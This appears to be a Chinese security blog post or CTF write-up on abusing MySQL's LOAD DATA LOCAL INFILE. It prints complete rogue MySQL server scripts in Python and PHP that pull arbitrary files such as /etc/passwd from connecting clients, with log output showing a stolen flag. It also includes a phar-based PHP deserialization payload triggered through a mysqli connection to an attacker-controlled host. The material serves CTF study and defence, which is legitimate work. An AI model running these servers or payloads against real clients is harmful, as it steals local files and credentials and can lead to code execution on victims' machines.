DDCTF中出现过,其他比赛已经记不清了,主要是分析利用mysql中Load data infile
这个命令交互过程的一部分
Load data infile
LOAD DATA INFILE语句以非常高的效率从文本文件中读取行并插入到表中。导入的文件名必须以字符串格式给定,一般我们常用的语句是这样的:
1 load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql server会读取服务端的/etc/passwd然后将数据按照’\n’分割插入表中,但现在这个语句同样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv的限制
1 2 3 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我们修改一下语句,加入一个关键字local。
1 2 3 mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果如下
很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。
mysql认为客户端不应该连接到不可信的服务端。
MySql Load Data Infile 过程分析
打开mysql服务器, wireshark抓包分析
先创建一个文件 root/tete
,内容为asdasd
执行LDI语句
1 2 3 4 5 6 7 8 9 10 11 12 13 MariaDB [test]> select * from LDI; +---------+ | content | +---------+ | asdasd | | asdasd | | asdasd | +---------+ 3 rows in set (0.007 sec) MariaDB [test]> load data local infile "/root/tete" into table LDI FIELDS TERMINATED BY '\n'; Query OK, 1 row affected (0.002 sec) Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
这个语句主要流程如下
客户端请求将本地/root/tete
插入到表LDI
中
服务端返回客户端需要的文件路径root/tete
客户端返回文件内容给服务器
1 2 3 客户端:我要把win.ini插入test表中 服务端:我要你的win.ini内容 客户端:win.ini的内容如下....
1 2 3 客户端:我要test表中的数据 服务端:我要你的win.ini内容 客户端:win.ini的内容如下???
在greeting包之后,客户端就会链接并试图登录,同时数据包中就有关于是否允许使用load data local的配置,可以从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不一定是准确的,后面会提到这个问题)。在mysql登录验证的过程中,会发送客户端的配置。
恶意服务器构造
回复mysql client一个greeting包
等待client端发送一个查询包
回复一个file transfer包
python版代码rogue_mysql_server.py :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306 log = logging.getLogger(__name__) log.setLevel(logging.INFO) tmp_format = logging.handlers.WatchedFileHandler('mysql.log' , 'ab' ) tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s" )) log.addHandler( tmp_format ) filelist = ( 'D:/test' , ) __author__ = 'Gifts' def daemonize (): import os, warnings if os.name != 'posix' : warnings.warn('Cant create daemon on non-posix system' ) return if os.fork(): os._exit(0 ) os.setsid() if os.fork(): os._exit(0 ) os.umask(0o022 ) null=os.open ('/dev/null' , os.O_RDWR) for i in xrange(3 ): try : os.dup2(null, i) except OSError as e: if e.errno != 9 : raise os.close(null) class LastPacket (Exception ): pass class OutOfOrder (Exception ): pass class mysql_packet (object ): packet_header = struct.Struct('<Hbb' ) packet_header_long = struct.Struct('<Hbbb' ) def __init__ (self, packet_type, payload ): if isinstance (packet_type, mysql_packet): self .packet_num = packet_type.packet_num + 1 else : self .packet_num = packet_type self .payload = payload def __str__ (self ): payload_len = len (self .payload) if payload_len < 65536 : header = mysql_packet.packet_header.pack(payload_len, 0 , self .packet_num) else : header = mysql_packet.packet_header.pack(payload_len & 0xFFFF , payload_len >> 16 , 0 , self .packet_num) result = "{0}{1}" .format ( header, self .payload ) return result def __repr__ (self ): return repr (str (self )) @staticmethod def parse (raw_data ): packet_num = ord (raw_data[0 ]) payload = raw_data[1 :] return mysql_packet(packet_num, payload) class http_request_handler (asynchat.async_chat): def __init__ (self, addr ): asynchat.async_chat.__init__(self , sock=addr[0 ]) self .addr = addr[1 ] self .ibuffer = [] self .set_terminator(3 ) self .state = 'LEN' self .sub_state = 'Auth' self .logined = False self .push( mysql_packet( 0 , "" .join(( '\x0a' , '5.6.28-0ubuntu0.14.04.1' + '\0' , '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00' , )) ) ) self .order = 1 self .states = ['LOGIN' , 'CAPS' , 'ANY' ] def push (self, data ): log.debug('Pushed: %r' , data) data = str (data) asynchat.async_chat.push(self , data) def collect_incoming_data (self, data ): log.debug('Data recved: %r' , data) self .ibuffer.append(data) def found_terminator (self ): data = "" .join(self .ibuffer) self .ibuffer = [] if self .state == 'LEN' : len_bytes = ord (data[0 ]) + 256 *ord (data[1 ]) + 65536 *ord (data[2 ]) + 1 if len_bytes < 65536 : self .set_terminator(len_bytes) self .state = 'Data' else : self .state = 'MoreLength' elif self .state == 'MoreLength' : if data[0 ] != '\0' : self .push(None ) self .close_when_done() else : self .state = 'Data' elif self .state == 'Data' : packet = mysql_packet.parse(data) try : if self .order != packet.packet_num: raise OutOfOrder() else : self .order = packet.packet_num + 2 if packet.packet_num == 0 : if packet.payload[0 ] == '\x03' : log.info('Query' ) filename = random.choice(filelist) PACKET = mysql_packet( packet, '\xFB{0}' .format (filename) ) self .set_terminator(3 ) self .state = 'LEN' self .sub_state = 'File' self .push(PACKET) elif packet.payload[0 ] == '\x1b' : log.info('SelectDB' ) self .push(mysql_packet( packet, '\xfe\x00\x00\x02\x00' )) raise LastPacket() elif packet.payload[0 ] in '\x02' : self .push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() elif packet.payload == '\x00\x01' : self .push(None ) self .close_when_done() else : raise ValueError() else : if self .sub_state == 'File' : log.info('-- result' ) log.info('Result: %r' , data) if len (data) == 1 : self .push( mysql_packet(packet, '\0\0\0\x02\0\0\0' ) ) raise LastPacket() else : self .set_terminator(3 ) self .state = 'LEN' self .order = packet.packet_num + 1 elif self .sub_state == 'Auth' : self .push(mysql_packet( packet, '\0\0\0\x02\0\0\0' )) raise LastPacket() else : log.info('-- else' ) raise ValueError('Unknown packet' ) except LastPacket: log.info('Last packet' ) self .state = 'LEN' self .sub_state = None self .order = 0 self .set_terminator(3 ) except OutOfOrder: log.warning('Out of order' ) self .push(None ) self .close_when_done() else : log.error('Unknown state' ) self .push('None' ) self .close_when_done() class mysql_listener (asyncore.dispatcher): def __init__ (self, sock=None ): asyncore.dispatcher.__init__(self , sock) if not sock: self .create_socket(socket.AF_INET, socket.SOCK_STREAM) self .set_reuse_addr() try : self .bind(('' , PORT)) except socket.error: exit() self .listen(5 ) def handle_accept (self ): pair = self .accept() if pair is not None : log.info('Conn from: %r' , pair[1 ]) tmp = http_request_handler(pair) z = mysql_listener() asyncore.loop()
php版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php function unhex ($str ) { return pack ("H*" , preg_replace ('#[^a-f0-9]+#si' , '' , $str )); }$filename = "/etc/passwd" ;$srv = stream_socket_server ("tcp://0.0.0.0:3306" );while (true ) { echo "Enter filename to get [$filename ] > " ; $newFilename = rtrim (fgets (STDIN), "\r\n" ); if (!empty ($newFilename )) { $filename = $newFilename ; } echo "[.] Waiting for connection on 0.0.0.0:3306\n" ; $s = stream_socket_accept ($srv , -1 , $peer ); echo "[+] Connection from $peer - greet... " ; fwrite ($s , unhex ('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75 6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00 00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44 47 77 43 2a 43 56 63 72 00 ' )); fread ($s , 8192 ); echo "auth ok... " ; fwrite ($s , unhex ('07 00 00 02 00 00 00 02 00 00 00' )); fread ($s , 8192 ); echo "some shit ok... " ; fwrite ($s , unhex ('07 00 00 01 00 00 00 00 00 00 00' )); fread ($s , 8192 ); echo "want file... " ; fwrite ($s , chr (strlen ($filename ) + 1 ) . "\x00\x00\x01\xFB" . $filename ); stream_socket_shutdown ($s , STREAM_SHUT_WR); echo "\n" ; echo "[+] $filename from $peer :\n" ; $len = fread ($s , 4 ); if (!empty ($len )) { list (, $len ) = unpack ("V" , $len ); $len &= 0xffffff ; while ($len > 0 ) { $chunk = fread ($s , $len ); $len -= strlen ($chunk ); echo $chunk ; } } echo "\n\n" ; fclose ($s ); }
使用操作流程
python2 rogue_mysql_server.py
在同目录下tail -f mysql.log
客户机连接mysql -u root -p
,执行一个查询,例如select 1
客户端连接成功后会自动执行select @@version_comment limit 1来获取详细版本信息(Source Distribution)
看到mysql.log
输出读到的文件内容
1 2 3 4 5 6 tail -f mysql.log 2020-02-19 21:11:56,136:INFO:Conn from: ('192.168.92.1', 65354) 2020-02-19 21:11:56,137:INFO:Last packet 2020-02-19 21:11:56,138:INFO:Query 2020-02-19 21:15:52,836:INFO:Result: '\x02flag{asdzxcqwsd}' 2020-02-19 21:15:52,836:INFO:-- result
php版本操作相同
读取本地文件触发反序列化
load data local file 反序列化
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。
知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/ )中表示,所有的文件函数都支持stream wrapper。
深入到函数中,我们可以发现,可以支持steam wrapper的原因是调用了
1 stream = php_stream_open_wrapper_ex(filename, "rb" ....);
从这里,我们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是通过php的函数实现的
1 2 3 4 5 6 7 8 9 10 11 https: if (PG(open_basedir)) { if (php_check_open_basedir_ex(filename, 0 ) == -1 ) { strcpy (info->error_msg, "open_basedir restriction in effect. Unable to open file" ); info->error_no = CR_UNKNOWN_ERROR; DBG_RETURN(1 ); } } info->filename = filename; info->fd = php_stream_open_wrapper_ex((char *)filename, "r" , 0 , NULL , context);
也同样调用了php_stream_open_wrapper_ex
函数,也就是说,我们同样可以通过读取phar文件来触发反序列化。
复现
首先需要一个生成一个phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pphar.php <?php class A { public $s = '' ; public function __wakeup ( ) { echo "pwned!!" ; } } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("GIF89a " ."<?php __HALT_COMPILER(); ?>" ); $o = new A ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
使用该文件生成一个phar.phar
然后我们模拟一次查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 test.php <?php class A { public $s = '' ; public function __wakeup ( ) { echo "pwned!!" ; } } $m = mysqli_init ();mysqli_options ($m , MYSQLI_OPT_LOCAL_INFILE, true );$s = mysqli_real_connect ($m , '{evil_mysql_ip}' , 'root' , '123456' , 'test' , 3667 );$p = mysqli_query ($m , 'select 1;' );
图中我们只做了select 1查询,但我们伪造的evil mysql server中驱使mysql client去做load file local查询,读取了本地的
成功触发反序列化
相关资料
Load Data Infile
Mysql Connection Phase Packets
COM_QUERY Response
Rogue-MySql-Server